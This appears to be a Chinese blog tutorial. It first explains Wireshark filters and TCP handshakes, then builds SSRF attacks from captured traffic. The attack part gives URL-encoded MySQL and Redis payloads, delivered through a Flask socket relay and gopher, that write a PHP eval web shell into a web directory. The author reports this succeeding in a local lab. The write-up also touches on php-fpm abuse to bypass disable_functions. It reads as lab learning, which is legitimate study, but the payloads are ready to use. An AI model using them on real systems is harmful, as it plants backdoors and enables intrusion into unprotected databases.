利用wireShark构造恶意tcp流

开始

开始抓包,选择一个网卡

image-20250319094251632

开始就可以抓包

image-20250319094318041

寻找特定包

比如我ping www.baidu.com想看icmp的包

image-20250319094439998

搜索框输入ip.addr ==39.156.66.10 and icmp

image-20250319094617336

语法

比较操作符

1
比较操作符有== 等于、!= 不等于、> 大于、< 小于、>= 大于等于、<=小于等于

协议过滤

1
2
3
4
5
6
7
小写,输入协议名称

tcp,只显示TCP协议的数据包列表

http,只查看HTTP协议的数据包列表

icmp,只显示ICMP协议的数据包列表

IP过滤

1
2
3
4
5
ip.src ==192.168.1.104 显示源地址为192.168.1.104的数据包列表

ip.dst==192.168.1.104, 显示目标地址为192.168.1.104的数据包列表

ip.addr == 192.168.1.104 显示源IP地址或目标IP地址为192.168.1.104的数据 包列表

端口过滤

1
2
3
4
5
tcp.port ==80, 显示源主机或者目的主机端口为80的数据包列表。

tcp.srcport == 80, 只显示TCP协议的源主机端口为80的数据包列表。

tcp.dstport == 80,只显示TCP协议的目的主机端口为80的数据包列表。

Http模式过滤

1
http.request.method=="GET",  只显示HTTP GET方法的。

逻辑运算符

1
and/or/not

按数据包内容过滤

image-20250319100207916

1
data contains '2'

数据展示区

image-20250319095001398

左边是数据详细区,右边是数据字节区

对应的个个会话层级如下

image-20250319095146609

比如tcp包可以在应用层查看它的具体内容

image-20250319095212612

设置抓包过滤器

捕获->捕获过滤器

image-20250319101256508

加号设置规则

image-20250319101402917

在抓包前应用规则

image-20250319101509822

语法规则

1
2
3
4
5
6
7
Type(host net port)

Dir(src dst)

Proto(ether ip tcp udp http icmp ftp)

逻辑运算符(&& || !)

IP过滤

1
2
3
4
5
host xxx.xx.xx.xx

src host xxx.xx.xx.xx

dst host xxx.xx.xx.xx

端口过滤

1
2
3
4
5
port 8888

src port 8888

dst port 8888

联动tcpdunp分析数据

1
tcpdump -i ens33 -w capture.pcap

image-20250322154942296

直接打开pcap文件就可以了

image-20250322155057570

找到抓包之后访问的www.baidu.com

image-20250322155241270

应用实例

分析TCP三次握手和四次挥手

三次握手

img

先ping获取ewoji.cn的ip

image-20250319105027734

设置过滤器并且应用

image-20250319105127237

curl http://ewoji.cn

image-20250319105205572

众所周知按理论tcp

SYN仅在第一次和第二次握手来表示 我想握手和同意握手

Seq随机生成一段序列 ACK为随机序列+1再发回表示确认字段没有被其他包干扰

一直知道这东西但是没有实际用眼看过这个流程

首先是客服端请求握手,并且发送确认序列

image-20250319110244682

然后客服端收到SYN为1知道你想和我握手,然后把序列加一当作ACK发回去表示我知道你是谁并且同样要发SYN请求握手并且生成一段随机序列

image-20250319110800250

然后客户端这时就知道你是我要找的那个人了,也不用再用SYN请求了,直接发送ACK确认然后生成一段序列保证后续的通信不被干扰

image-20250319110904875

现在已经握手成功,之后就是可以发各种http,rmi,fastcgi,resp协议了

image-20250319111214454

image-20250319111124633

然后就用这个tcp连接发来发去了

四次挥手

在这里插入图片描述

这里可以看到过了100秒两边没有交流,github就给我发挥手包了

image-20250319122253858

但是这里挥手用的不是传统的tcp四次挥手而是捎带机制,就不深究了

抓Mysql通信包构造恶意包打SSRF

写个马

image-20250319182638997

1
tcp.port == 3306

过滤

image-20250319182658106

复制data

image-20250319183259466

写个脚本转成url编码

1
2
3
4
import urllib
import urllib.parse

print(urllib.parse.quote(open('1','rb').read()))

payload为

1
%5B%00%00%00%03select%20%22%3C%3Fphp%20%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%20into%20outfile%20%27D%3A/phpstudy_pro/WWW/test/mysqlwrite/2.php%27

开个socket小实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
from flask import Flask,request

app = Flask(__name__)

@app.route("/")
def index():
data = request.args.get("data")
if data:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",3306))
s.sendall(data.encode('utf-8'))
s.close()
return data.encode('utf-8')
return "我爱你!"

app.run(host="0.0.0.0",port=23321)

控制data直接通过socket发送恶意tcp数据流即可

有意思的是并没有执行成功,最后wireshark排查得知

image-20250319235858235

我们的tcp数据流是没有我的身份信息的,而mysql当然要登录才可以执行

那为什么我们上面抓的包直接就直接执行了呢,是因为我之前的验证包没有抓到

image-20250320000417218

所以要想执行mysql命令还得先通过验证然后建立一个被验证的tcp连接

image-20250320111218598

设置一个无密码用户

1
./mysql -u ssrf -e "select '<?php @eval($\_POST[1]);?>' into outfile 'D:///phpstudy_pro/WWW/test/mysqlwrite/2.php'"

抓包,把从登录到退出的数据包数据合并

image-20250320111635083

wireshark也是非常智能,自动合并这段数据包了

image-20250320162425335

然后编码再通过刚刚那个socket发送

1
%3C%00%00%01%85%A2%0F%00%00%00%00%01%1C%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf%00%00mysql_native_password%00%21%00%00%00%03select%20%40%40version_comment%20limit%201_%00%00%00%03select%20%27%3C%3Fphp%20%40eval%28%24%5C_POST%5B1%5D%29%3B%3F%3E%27%20into%20outfile%20%27D%3A///phpstudy_pro/WWW/test/mysqlwrite/2.php%27%01%00%00%00%01

但最后也只能到认证阶段,甚至不可以发送用户名

image-20250320161108148

最后查资料才知道sendall是不可以控制多个包的时序逻辑的,但是gopher可以

所以索性使用gopher发送tcp数据流

image-20250320162631599

最后成功写入

image-20250320162654685

而有些数据库可以未授权访问,就只用发一个包,不用考虑时序逻辑的问题,比如redis

抓redis通信包构造恶意包打SSRF

先分析一下redis的发包逻辑

image-20250322110810195

也是像上面说的非常干脆如果只用set操作的话只用一个包即可

我们知道redis下载下来默认不需要账号密码,并且开在0.0.0.0:6379的,那么就可以直接通过未授权访问发送恶意的tcp流了

image-20250322110928815

还是使用刚刚的python小socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket
from flask import Flask,request

app = Flask(__name__)

@app.route("/")
def index():
data = request.args.get("data")
if data:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",6379))
s.sendall(data.encode('utf-8'))
s.close()
#res = s.recv(1024)
return 'l'
return "我爱你!"

app.run(host="0.0.0.0",port=23321)

比如发个获取全部key的命令试试看image-20250322111714875

看看我们的包内容

image-20250322112121031

发现这个resp包也是非常的有规律且容易看懂,可以简单了解一下如何构造resp包

【高阶篇】3.1 Redis协议(RESP )详解_redis resp-CSDN博客

构造set e 1命令包,比较值得注意的是resp需要的换行是\r\n而windows只有\n,需要手动加上

1
*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0Ae%0D%0A$1%0D%0A1%0D%0A

image-20250322123653891

这样就完成了未授权的set操作

如果是写文件呢

1
2
3
4
config set dir D:\phpstudy_pro\WWW\test\mysqlwrite
config set dbfilename 1.php
set ewoji2 "\r\n\r\<?php @eval($_POST['test']);?>\r\n\r"
save

image-20250322124004323

一样的url编码后发包试试

1
%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2435%0D%0AD%3A%5Cphpstudy%5Fpro%5CWWW%5Ctest%5Cmysqlwrite%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1%2Ephp%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%246%0D%0Aewoji2%0D%0A%2436%0D%0A%0D%0A%0D%0A%3C%3Fphp%20%40eval%28%24%5FPOST%5B%27test%27%5D%29%3B%3F%3E%0D%0A%0D%0A%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

可以看到我们四个命令都回了ok

image-20250322153716364

最后马子也是成功写入

image-20250322153737221

同样也可以用gopherus构造

分析php-fpm通信包

把php-fpm和nginx开开

image-20250323105327421

1
2
/etc/init.d/php7.3-fpm restart
service nginx reload

因为fpm是和nginx的通信,必须在虚拟机上使用tcpdump抓包

1
tcpdump -i lo -w capture.pcap

写一个执行命令的php

1
2
//ee.php
<?php system('touch 1');?>

访问执行后查看tcp数据包

可以看到三次握手之后就发送了fastcgi协议,但是wireshark没识别出来

image-20250323103826318

可以看到是一个包就解决了的,因为是本地的fpm也不用什么认证包,所以关于fpm的利用就比较精彩,绕过disable_function还可以联动LD_PRELOAD啥的

分析RMI通信包

1
2
3
4
5
6
7
8
9
10
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
registry.bind("remoteObj", remoteObj);
}
}

端口不开1099 wireshark识别不了,挺笨的

回顾一下经典的两次tcp连接,第一次连接注册中心获得stub

image-20250319180135599

第二个三次握手是握远程调用的端口

image-20250319180609306

然后远程调用

image-20250319180810166

返回结果

image-20250319180846779

由于rmi通信比较复杂,一般都是直接用的yso里面的写好的client和server